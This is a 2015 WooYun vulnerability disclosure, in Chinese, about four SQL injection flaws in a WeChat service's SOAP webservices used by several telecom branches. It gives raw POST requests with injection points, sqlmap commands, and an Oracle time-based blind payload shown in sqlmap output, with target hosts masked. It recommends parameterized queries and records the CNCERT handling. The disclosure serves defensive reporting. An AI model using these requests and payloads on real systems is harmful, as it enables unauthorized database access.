当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134008

漏洞标题:某微信服务系统存在四个SQL注入影响多家电信分公司

相关厂商:越亮传奇科技股份有限公司

漏洞作者: 路人甲

提交时间:2015-08-16 12:48

修复时间:2015-11-16 11:02

公开时间:2015-11-16 11:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-16: 细节已通知厂商并且等待厂商处理中
2015-08-18: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-08-21: 细节向第三方安全合作伙伴开放
2015-10-12: 细节向核心白帽子及相关领域专家公开
2015-10-22: 细节向普通白帽子公开
2015-11-01: 细节向实习白帽子公开
2015-11-16: 细节向公众公开

简要描述:

某微信服务系统存在四个SQL注入影响多家电信分公司

详细说明:

漏洞还是出现在webservices
经测试发现该webservices的

/service/CouponsApiService 该服务的getCoupons方法存在漏洞
/service/CreditService 该服务的getMcreditAliasName方法存在漏洞
/service/CreditService getMcreditExNum方法存在漏洞
/service/GroupService deleteUser方法存在漏洞


0x1 /service/CouponsApiService
getCoupons方法的多个参数存在漏洞
保存如下的内容为wooyun.txt

POST /service/CouponsApiService HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 312
Host: **.**.**.**
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
<soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:getCoupons>
<web:in0>1*</web:in0>
<web:in1>1</web:in1>
</web:getCoupons>
</soapenv:Body>
</soapenv:Envelope>


sqlmap.py -r wooyun.txt --dbms oracle --technique T

1.png


0x2 /service/CreditService
getMcreditAliasName、getMcreditExNum方法的多个参数存在漏洞
同样将下面的内容保存为wooyun.txt

POST /service/CreditService HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 312
Host: **.**.**.**
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
<soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:getMcreditExNum>
<web:in0>1*</web:in0>
</web:getMcreditExNum>
</soapenv:Body>
</soapenv:Envelope>


sqlmap.py -r wooyun.txt --dbms oracle --technique T

2.png


0x3 /service/GroupService
deleteUser方法的多个参数存在漏洞
同样将下面的内容保存为wooyun.txt

POST /service/GroupService HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 312
Host: **.**.**.**
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
<soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:deleteUser>
<web:in0>1*</web:in0>
<web:in1>1*</web:in1>
</web:deleteUser>
</soapenv:Body>
</soapenv:Envelope>


sqlmap.py -r wooyun.txt --dbms oracle --technique T

3.png


使用量比较多,这里给出几个方便测试:

http://**.**.**.**/main/login.jsp
http://**.**.**.**/main/login.jsp
http://**.**.**.**/main/login.jsp
**.**.**.**/main/login.jsp
http://**.**.**.**/main/login.jsp

漏洞证明:

sqlmap.py -r wooyun.txt --dbms oracle --technique T --is-dba
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150423}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:26:50
[23:26:50] [INFO] parsing HTTP request from 's.txt'
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] [23:26:50] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: <soapenv:Envelope xmlns:soapenv="http://**.**.**.**/soap/envelope/" xmlns:web="http://**.**.**.**">
<soapenv:Header/>
<soapenv:Body>
<web:deleteUser>
<web:in0>1' AND 7163=DBMS_PIPE.RECEIVE_MESSAGE(CHR(77)||CHR(78)||CHR(88)||CHR(121),5) AND 'kUrq'='kUrq</web:in0>
<web:in1>1</web:in1>
</web:deleteUser>
</soapenv:Body>
</soapenv:Envelope>
---
[23:26:50] [INFO] the back-end DBMS is Oracle
web application technology: Nginx
back-end DBMS: Oracle
[23:26:50] [INFO] testing if current user is DBA
current user is DBA: False
[23:26:50] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'
[*] shutting down at 23:26:50

修复方案:

参数化查询

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-18 11:01

厂商回复:

CNVD确认所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理单位处置. 按多个案例评分,rank 20

最新状态:

暂无